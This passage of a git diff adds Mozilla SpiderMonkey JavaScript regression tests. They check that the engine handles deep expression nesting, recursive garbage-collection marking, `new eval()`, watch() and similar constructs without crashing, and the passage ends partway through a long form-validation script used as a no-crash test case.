+var BUGNUMBER = 192414;
+var summary = 'Parser recursion should check stack overflow';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+/*
+ * We will form an eval string to set the result-variable |actual|.
+ * To get a feel for this, suppose N were 3. Then the eval string is
+ * 'actual = (1&(1&(1&1)));' The expected value after eval() is 1.
+ */
+status = inSection(1);
+var N = 10000;
+var left = repeat_str('(1&', N);
+var right = repeat_str(')', N);
+var str = 'actual = '.concat(left, '1', right, ';');
+try
+{
+ eval(str);
+}
+catch (e)
+{
+ /*
+ * An exception during this eval is OK, as the runtime can throw one
+ * in response to too deep recursion. We haven't crashed; good!
+ */
+ actual = 1;
+}
+expect = 1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function repeat_str(str, repeat_count)
+{
+ var arr = new Array(--repeat_count);
+ while (repeat_count != 0)
+ arr[--repeat_count] = str;
+ return str.concat.apply(str, arr);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-193418.js b/js/src/tests/js1_5/Regress/regress-193418.js
new file mode 100644
index 000000000..e4ac84a38
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-193418.js
@@ -0,0 +1,70 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 17 February 2003
+ * SUMMARY: Testing empty blocks
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=193418
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 193418;
+var summary = 'Testing empty blocks';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f()
+{
+ while (0)
+ {
+ { }
+ }
+ actual = true;
+}
+
+
+status = inSection(1);
+f(); // sets |actual|
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-203278-1.js b/js/src/tests/js1_5/Regress/regress-203278-1.js
new file mode 100644
index 000000000..0c0d317ee
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-203278-1.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 203278;
+var summary = 'Don\'t crash in recursive js_MarkGCThing';
+var actual = 'FAIL';
+var expect = 'PASS';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function test1() {}
+function test() { test1.call(this); }
+test.prototype = new test1();
+
+var length = 512 * 1024 - 1;
+var obj = new test();
+var first = obj;
+for(var i = 0 ; i < length ; i++) {
+ obj.next = new test();
+ obj = obj.next;
+}
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/js1_5/Regress/regress-203402.js b/js/src/tests/js1_5/Regress/regress-203402.js
new file mode 100644
index 000000000..28e125f87
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-203402.js
@@ -0,0 +1,61 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 28 April 2003
+ * SUMMARY: Testing the ternary query operator
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=203402
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 203402;
+var summary = 'Testing the ternary query operator';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// This used to crash the Rhino optimized shell -
+status = inSection(1);
+actual = "" + (1==0) ? "" : "";
+expect = "";
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-203841.js b/js/src/tests/js1_5/Regress/regress-203841.js
new file mode 100644
index 000000000..303b99e51
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-203841.js
@@ -0,0 +1,130 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 April 2003
+ * SUMMARY: Testing merged if-clauses
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=203841
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 203841;
+var summary = 'Testing merged if-clauses';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+var a = 0;
+var b = 0;
+var c = 0;
+if (a == 5, b == 6) { c = 1; }
+actual = c;
+expect = 0;
+addThis();
+
+status = inSection(2);
+a = 5;
+b = 0;
+c = 0;
+if (a == 5, b == 6) { c = 1; }
+actual = c;
+expect = 0;
+addThis();
+
+status = inSection(3);
+a = 5;
+b = 6;
+c = 0;
+if (a == 5, b == 6) { c = 1; }
+actual = c;
+expect = 1;
+addThis();
+
+/*
+ * Now get tricky and use the = operator inside the if-clause
+ */
+status = inSection(4);
+a = 0;
+b = 6;
+c = 0;
+if (a = 5, b == 6) { c = 1; }
+actual = c;
+expect = 1;
+addThis();
+
+status = inSection(5);
+c = 0;
+if (1, 1 == 6) { c = 1; }
+actual = c;
+expect = 0;
+addThis();
+
+
+/*
+ * Now some tests involving arrays
+ */
+var x=[];
+
+status = inSection(6); // get element case
+c = 0;
+if (x[1==2]) { c = 1; }
+actual = c;
+expect = 0;
+addThis();
+
+status = inSection(7); // set element case
+c = 0;
+if (x[1==2]=1) { c = 1; }
+actual = c;
+expect = 1;
+addThis();
+
+status = inSection(8); // delete element case
+c = 0;
+if (delete x[1==2]) { c = 1; }
+actual = c;
+expect = 1;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-204210.js b/js/src/tests/js1_5/Regress/regress-204210.js
new file mode 100644
index 000000000..0c079abaa
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-204210.js
@@ -0,0 +1,116 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 April 2003
+ * SUMMARY: eval() is not a constructor, but don't crash on |new eval();|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=204210
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 204210;
+var summary = "eval() is not a constructor, but don't crash on |new eval();|";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/*
+ * Just testing that we don't crash on any of these constructs -
+ */
+
+
+/*
+ * global scope -
+ */
+try
+{
+ var x = new eval();
+ new eval();
+}
+catch(e)
+{
+}
+
+
+/*
+ * function scope -
+ */
+f();
+function f()
+{
+ try
+ {
+ var x = new eval();
+ new eval();
+ }
+ catch(e)
+ {
+ }
+}
+
+
+/*
+ * eval scope -
+ */
+var s = '';
+s += 'try';
+s += '{';
+s += ' var x = new eval();';
+s += ' new eval();';
+s += '}';
+s += 'catch(e)';
+s += '{';
+s += '}';
+eval(s);
+
+
+/*
+ * some combinations of scope -
+ */
+s = '';
+s += 'function g()';
+s += '{';
+s += ' try';
+s += ' {';
+s += ' var x = new eval();';
+s += ' new eval();';
+s += ' }';
+s += ' catch(e)';
+s += ' {';
+s += ' }';
+s += '}';
+s += 'g();';
+eval(s);
+
+
+function h()
+{
+ var s = '';
+ s += 'function f()';
+ s += '{';
+ s += ' try';
+ s += ' {';
+ s += ' var x = new eval();';
+ s += ' new eval();';
+ s += ' }';
+ s += ' catch(e)';
+ s += ' {';
+ s += ' }';
+ s += '}';
+ s += 'f();';
+ eval(s);
+}
+h();
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/js1_5/Regress/regress-210682.js b/js/src/tests/js1_5/Regress/regress-210682.js
new file mode 100644
index 000000000..52eb95d4d
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-210682.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 02 July 2003
+ * SUMMARY: testing line ending with |continue| and only terminated by a CR
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=210682
+ *
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 210682;
+var summary = 'testing line ending with |continue| and only terminated by CR';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+for (i=0; i<100; i++)
+{
+ if (i%2 == 0) continue
+ this.lasti = i;
+}
+
+status = inSection(1);
+actual = lasti;
+expect = 99;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-211590.js b/js/src/tests/js1_5/Regress/regress-211590.js
new file mode 100644
index 000000000..a31bd3bfe
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-211590.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 211590;
+var summary = 'Math.random should be random';
+var actual = '';
+var expect = 'between 47.5% and 52.5%';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var r = Math.random;
+var c = Math.pow( 2, 53 );
+
+var n = 10000;
+var odd1 = 0;
+var odd2 = 0;
+
+for ( var i = 0; i < n; ++i )
+{
+ var v= r() * c;
+ if ( v & 1 )
+ ++odd1;
+ if ( v - c + c & 1 )
+ ++odd2;
+}
+
+odd1 *= 100 / n;
+odd2 *= 100 / n;
+
+if (odd1 >= 47.5 && odd1 <= 52.5)
+{
+ actual = expect;
+}
+else
+{
+ actual = ' is ' + odd1.toFixed(3);
+}
+
+reportCompare(expect, actual, summary);
+
+if (odd2 >= 47.5 && odd2 <= 52.5)
+{
+ actual = expect;
+}
+else
+{
+ actual = ' is ' + odd2.toFixed(3);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-213482.js b/js/src/tests/js1_5/Regress/regress-213482.js
new file mode 100644
index 000000000..26ed7e894
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-213482.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 213482;
+var summary = 'Do not crash watching property when watcher sets property';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var testobj = {value: 'foo'};
+
+function watched (a, b, c) {
+ testobj.value = (new Date()).getTime();
+}
+
+function setTest() {
+ testobj.value = 'b';
+}
+
+testobj.watch("value", watched);
+
+setTest();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-214761.js b/js/src/tests/js1_5/Regress/regress-214761.js
new file mode 100644
index 000000000..ab5a4663c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-214761.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 214761;
+var summary = 'Crash Regression from bug 208030';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+options('strict');
+
+var code = "var bar1=new Array();\n" +
+ "bar1[0]='foo';\n" +
+ "var bar2=document.all&&navigator.userAgent.indexOf('Opera')==-1;\n" +
+ "var bar3=document.getElementById&&!document.all;\n" +
+ "var bar4=document.layers;\n" +
+ "function foo1(){\n" +
+ "return false;}\n" +
+ "function foo2(){\n" +
+ "return false;}\n" +
+ "function foo3(){\n" +
+ "return false;}\n" +
+ "function foo4(){\n" +
+ "return false;}\n" +
+ "function foo5(){\n" +
+ "return false;}\n" +
+ "function foo6(){\n" +
+ "return false;}\n" +
+ "function foo7(){\n" +
+ "return false;}";
+
+try
+{
+ eval(code);
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-216320.js b/js/src/tests/js1_5/Regress/regress-216320.js
new file mode 100644
index 000000000..01fcea0f0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-216320.js
@@ -0,0 +1,1006 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 September 2003
+ * SUMMARY: Just seeing we don't crash on this code
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=216320
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 216320;
+var summary = "Just seeing we don't crash on this code";
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+
+/* TESTCASE BEGINS HERE */
+status=0;
+ism='NO';
+scf='N';
+
+function vol(){
+ if(navigator.appName!="Netscape"){ if(!window.navigator.onLine){ alert(pbc0430); return false; } }
+ return true; }
+
+function vnid(formfield){
+ nid=formfield.value;
+ if(!nid.match(/^\s*$/)){
+ nl=nid.split('/').length;
+ if(nl!=2&&nl!=3){
+ alert(pbc0420);
+ formfield.focus();
+ return false;
+ }}}
+
+function vnull(formfield){
+ text=formfield.value;
+ if(text.match(/^\s*$/)){
+ alert(pbc0425);
+ formfield.focus();
+ return false;
+ }
+ return true;
+}
+
+function vdt(formfield){
+ date=formfield.value;
+//MM/DD/YYYY
+//YYYY/MM/DD
+ year=date.substring(0,4);
+ hy1=date.charAt(4);
+ month=date.substring(5,7);
+ hy2=date.charAt(7);
+ day=date.substring(8,10);
+ today=new Date();
+ tdy=today.getDate();
+ tmn=today.getMonth()+1;
+ if(today.getYear()<2000)tyr=today.getYear()+1900;
+ else tyr=today.getYear();
+ if(date.match(/^\s*$/)) {return true; }
+
+ if(hy1!="/"||hy2!="/"){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+ if(month>12||day>31||month<=0||day<=0||(isNaN(month)==true)||(isNaN(day)==true)||(isNaN(year)==true)){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+
+ if(((month==1||month==3||month==5||month==7||month==8||month==10||month==12)&&day>31)||(year%4==0&&month==2&&day>29)||(year%4!=0&&month==2&&day>28)||((month==4||month==6||month==9||month==11)&&day>30)){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+ return true;
+}
+
+function vkdt(formfield){
+ date=formfield.value;
+ year=date.substring(0,4);
+ hy1=date.charAt(4);
+ month=date.substring(5,7);
+ hy2=date.charAt(7);
+ day=date.substring(8,10);
+ today=new Date();
+ tdy=today.getDate();
+ tmn=today.getMonth()+1;
+ if(today.getYear()<2000)tyr=today.getYear()+1900;
+ else tyr=today.getYear();
+ if(date.match(/^\s*$/)){
+ alert(pbc0425);
+ formfield.focus();
+ return false;
+ }
+ if(hy1!="/"||hy2!="/"){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+
+ if(month>12||day>31||month<=0||day<=0||(isNaN(month)==true)||(isNaN(day)==true)||(isNaN(year)==true)){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+
+ if(((month==1||month==3||month==5||month==7||month==8||month==10||month==12)&&day>31)||(year%4==0&&month==2&&day>29)||(year%4!=0&&month==2&&day>28)||((month==4||month==6||month==9||month==11)&&day>30)){
+ alert(pbc0409);
+ formfield.focus();
+ return false;
+ }
+ return true;
+}
+
+function ddif(month1,day1,year1,month2,day2,year2){
+ start = new Date();
+ start.setYear(year1);
+ start.setMonth(month1-1);
+ start.setDate(day1);
+ start.setMinutes(0);
+ start.setHours(0);
+ start.setSeconds(0);
+ end = new Date();
+ end.setYear(year2);
+ end.setMonth(month2-1);
+ end.setDate(day2);
+ end.setMinutes(0);
+ end.setHours(0);
+ end.setSeconds(0);
+ current =(end.getTime() - start.getTime());
+ days = Math.floor(current /(1000 * 60 * 60 * 24));
+ return(days);
+}
+
+function vsub(form,status,ism,action){
+ if(!vol()){ return false; }
+ if(status<9||status==12){
+ band=form.BAND.options[form.BAND.selectedIndex].value;
+ if(band=="00"){
+ alert(pbc0425);
+ form.BAND.focus();
+ return false;
+ }
+ }
+
+ if((status>=0&&status<5)||(status==7)||(status>=5&&status<9&&ism=="YES")||(status==12&&ism=="YES")){
+ if(!vnull(form.PT)) { return false; }
+ adt1=form.STD;
+ adt2=form.END;
+ stdt=adt1.value;
+ etdt=adt2.value;
+ syr=stdt.substring(0,4);
+ start_hy1=stdt.charAt(4);
+ smon=stdt.substring(5,7);
+ start_hy2=stdt.charAt(7);
+ sdy=stdt.substring(8,10);
+ eyr=etdt.substring(0,4);
+ end_hy1=etdt.charAt(4);
+ emon=etdt.substring(5,7);
+ end_hy2=etdt.charAt(7);
+ edy=etdt.substring(8,10);
+ today=new Date();
+ date=today.getDate();
+ month=today.getMonth()+1;
+ if(today.getYear()<2000)year=today.getYear()+1900; else year=today.getYear();
+ nextYear=year+1;
+ if(!vnull(form.STD)){ return false; }
+ if(!vnull(form.END)){ return false; }
+ if(start_hy1!="/"||start_hy2!="/"){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(end_hy1!="/"||end_hy2!="/"){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if(smon>12||sdy>31||smon<=0||sdy<=0||(isNaN(smon)==true)||(isNaN(sdy)==true)||(isNaN(syr)==true)){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(emon>12||edy>31||emon<=0||edy<=0||(isNaN(emon)==true)||(isNaN(edy)==true)||(isNaN(eyr)==true)){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if(((smon==1||smon==3||smon==5||smon==7||smon==8||smon==10||smon==12)&&sdy>31)||(syr%4==0&&smon==2&&sdy>29)||(syr%4!=0&&smon==2&&sdy>28)||((smon==4||smon==6||smon==9||smon==11)&&sdy>30)){
+ alert(pbc0409);
+ form.STD.focus();
+ return false;
+ }
+ if(((emon==1||emon==3||emon==5||emon==7||emon==8||emon==10||emon==12)&&edy>31)||(eyr%4==0&&emon==2&&edy>29)||(eyr%4!=0&&emon==2&&edy>28)||((emon==4||emon==6||emon==9||emon==11)&&edy>30)){
+ alert(pbc0409);
+ form.END.focus();
+ return false;
+ }
+ if ((eyr==nextYear)&&(syr==year)) {
+ if ((emon>1)||(edy >31)) {
+ alert(pbc0401);
+ form.END.focus();
+ return false;
+ }
+ } else {
+
+ if ((syr!=eyr)){
+ alert(pbc0406);
+ form.STD.focus();
+ return false;
+ }
+ if(smon>emon||(smon==emon&&sdy>=edy)){
+ alert(pbc0402);
+ form.STD.focus();
+ return false;
+ }
+ if((eyr!=year)&&(eyr!=year-1)){
+ alert(pbc0405);
+ form.END.focus();
+ return false;
+ }
+ }
+ if(ism=='YES'&&(status==5||status==6||status==12)){
+ if(ddif(month,date,year,emon,edy,eyr)>31){
+ alert(pbc0421);
+ form.END.focus();
+ return false;
+ }
+ }
+ if((status>2&&status<5)||(status==7)||((status>=5&&status<9||status==12)&&ism=="YES")){
+ if(status!=5){
+ if(!vdt(form.IRD1)){
+ return false;
+ }
+ if(!vdt(form.IRD2)){
+ return false;
+ }
+ if(!vdt(form.IRD3)){
+ return false;
+ }
+ ird1=form.IRD1.value;
+ ird2=form.IRD2.value;
+ ird3=form.IRD3.value;
+ if(((ird1==ird2)&&(!ird1.match(/^\s*$/)))||((ird1==ird3)&&(!ird1.match(/^\s*$/)))){
+ alert(pbc0417);
+ form.IRD1.focus();
+ return false;
+ }
+ else if((ird2==ird3)&&(!ird2.match(/^\s*$/))){
+ alert(pbc0417);
+ form.IRD2.focus();
+ return false;
+ }
+ if(!vdt(form.FRD1)){ return false;}
+ }
+ if(status==5){
+ if(!vdt(form.IRD1)){return false;}
+ if(!vdt(form.IRD2)){return false;}
+ if(!vdt(form.IRD3)){return false;}
+ ird1=form.IRD1.value;
+ ird2=form.IRD2.value;
+ ird3=form.IRD3.value;
+ if(((ird1==ird2)&&(!ird1.match(/^\s*$/)))||((ird1==ird3)&&(!ird1.match(/^\s*$/)))){
+ alert(pbc0417);
+ form.IRD1.focus();
+ return false;
+ }
+ else if((ird2==ird3)&&(!ird2.match(/^\s*$/))){
+ alert(pbc0417);
+ form.IRD2.focus();
+ return false;
+ }
+ if(!vkdt(form.FRD1)){
+ return false;
+ }
+ }
+ }
+ }
+ if((status>=0&&status<2)||(status==3)||(status==7)||(status>=2&&status<9&&ism=="YES")||(status==12&&ism=="YES")){
+ if(!vnull(form.WO)){
+ return false;
+ }
+ if(!vnull(form.EO)){
+ return false;
+ }
+ if(!vnull(form.TO)){
+ return false;
+ }
+ }
+ if((status==2||status==4)||(status>=5&&status<9&&ism=="YES")||(status==12&&ism=="YES")){
+ if(!vnull(form.WR)){return false;}
+ if(!vnull(form.ER)){return false;}
+ if(!vnull(form.TR)){return false;}
+ }
+ if((status==5||status==6||status==12)&&ism=="YES"){
+ if(!vkdt(form.FRD1)){return false;}
+ frdt=form.FRD1.value;
+ fryr=frdt.substring(0,4);
+ frmn=frdt.substring(5,7);
+ frdy=frdt.substring(8,10);
+ if(fryr<syr||(fryr==syr&&frmn<smon)||(fryr==syr&&frmn==smon&&frdy<=sdy)){
+ alert(pbc0410);
+ form.FRD1.focus();
+ return false;
+ }
+ if((status==5||status==6||status==12)&&ism=="YES"){
+ isnh="";
+ for(i=0; i<form.INH.length; i++){
+ if(form.INH[i].checked==true){ isnh=form.INH[i].value; }
+ }
+ if(isnh==""){
+ alert(pbc0424);
+ form.INH[1].focus();
+ return false;
+ }
+ if(isnh=="Y"){
+ beh="";
+ for(i=0; i<form.NHB.length; i++){
+ if(form.NHB[i].checked==true){ beh=form.NHB[i].value; }
+ }
+ skl="";
+ for(i=0; i<form.NHS.length; i++){
+ if(form.NHS[i].checked==true){ skl=form.NHS[i].value; }
+ }
+ if(beh==""){
+ alert(pbc0408);
+ form.NHB[0].focus();
+ return false;
+ }
+ if(skl==""){
+ alert(pbc0426);
+ form.NHS[0].focus();
+ return false;
+ }
+ if((beh=="N"||skl=="N")&&status!=12){
+ if(form.RCD[3].checked==false){
+ if(confirm(pbc0455))srdb(form.RCD,"4");
+ else {
+ form.NHB[0].focus();
+ return false;
+ }}}}}
+ rating="";
+ if(status!=12){ for(i=0; i<form.RCD.length; i++){ if(form.RCD[i].checked==true)rating=form.RCD[i].value; } }
+ else if(status==12){ rating="4"; }
+ if(rating==""){
+ alert(pbc0428);
+ form.RCD[0].focus();
+ return false;
+ }
+ if(rating=="4"){
+ if(!vkdt(form.SID)){ return false; }
+ idt=form.SID.value;
+ iyr=idt.substring(0,4);
+ imon=idt.substring(5,7);
+ idy=idt.substring(8,10);
+ frdt=form.FRD1.value;
+ fryr=frdt.substring(0,4);
+ frmn=frdt.substring(5,7);
+ frdy=frdt.substring(8,10);
+ if(iyr<eyr||(iyr==eyr&&imon<emon)||(iyr==eyr&&imon==emon&&idy<=edy)){
+ alert(pbc0415);
+ form.SID.focus();
+ return false;
+ }
+ if(iyr<fryr||(iyr==fryr&&imon<frmn)||(iyr==fryr&&imon==frmn&&idy<=frdy)){
+ alert(pbc0427);
+ form.SID.focus();
+ return false;
+ }
+ if(ddif(emon,edy,eyr,imon,idy,iyr)<30){
+ alert(pbc0416);
+ form.SID.focus();
+ return false;
+ }
+ if(ddif(emon,edy,eyr,imon,idy,iyr)>90){
+ if(!confirm(pbc0439+" "+pbc0442)){
+ form.SID.focus();
+ return false;
+ }}} else {
+// MK/06-20-01 = If Rating Not equals to 4 blank out the sustained improve Date
+ form.SID.value="";
+ }
+ if(!vnull(form.OAT)){ return false; }
+ if(form.MSRQ.checked==true){
+ if(form.NEW_SIGN_MGR_ID.value.match(/^\s*$/)){
+ alert(pbc0418);
+ form.NEW_SIGN_MGR_ID.focus();
+ return false;
+ }
+ if(vnid(form.NEW_SIGN_MGR_ID)==false){ return false; }
+ } else {
+ if(!form.NEW_SIGN_MGR_ID.value.match(/^\s*$/)){
+ alert(pbc0422);
+ form.NEW_SIGN_MGR_ID.focus();
+ return false;
+ }
+ if ( (form.TOC.value=="YES") && (form.RSRQ.checked==true) ) {
+ alert(pbc0429);
+ form.NEW_SEC_LINE_REV_ID.focus();
+ return false;
+ }
+ }
+ if(form.RSRQ.checked==true){
+ if(form.NEW_SEC_LINE_REV_ID.value.match(/^\s*$/)){
+ alert(pbc0418);
+ form.NEW_SEC_LINE_REV_ID.focus();
+ return false;
+ }
+ if(vnid(form.NEW_SEC_LINE_REV_ID)==false){ return false; }
+ } else {
+ if(!form.NEW_SEC_LINE_REV_ID.value.match(/^\s*$/)) {
+ alert(pbc0423);
+ form.NEW_SEC_LINE_REV_ID.focus();
+ return false;
+ }
+ if ( (form.TOC.value=="YES") && (form.MSRQ.checked==true) ) {
+ alert(pbc0431);
+ form.NEW_SEC_LINE_REV_ID.focus();
+ return false;
+ }}}
+ if(status!=9){
+/**for returned objectives **/
+ if(status==3){
+ if(conf(pbc0466) == false) return false;
+ }
+
+ if(ism=='NO'){
+ if(status==0||status==1||status==3||status==7){
+ if(conf(pbc0456) == false) return false;
+ }
+
+ if(status==2||status==4||status==8){
+ if(conf(pbc0457) == false) return false;
+ }
+ } else if(ism=='YES'){
+ if(status==0||status==1||status==3||status==7){
+ if(conf(pbc0458) == false)return false;
+ }
+ if(status==2||status==4||status==8){
+ if(conf(pbc0459) == false)return false;
+ }
+ if(status==5||status==6){
+ if(form.ESRQ.checked==false){
+ if(conf(pbc0460) == false)return false;
+ } else {
+ if(conf(pbc0461) == false)return false;
+ }}}}
+ if(status==9){
+ if(ism=='NO'){
+ if(conf(pbc0462) == false)return false;
+ } else if(ism=='YES'){
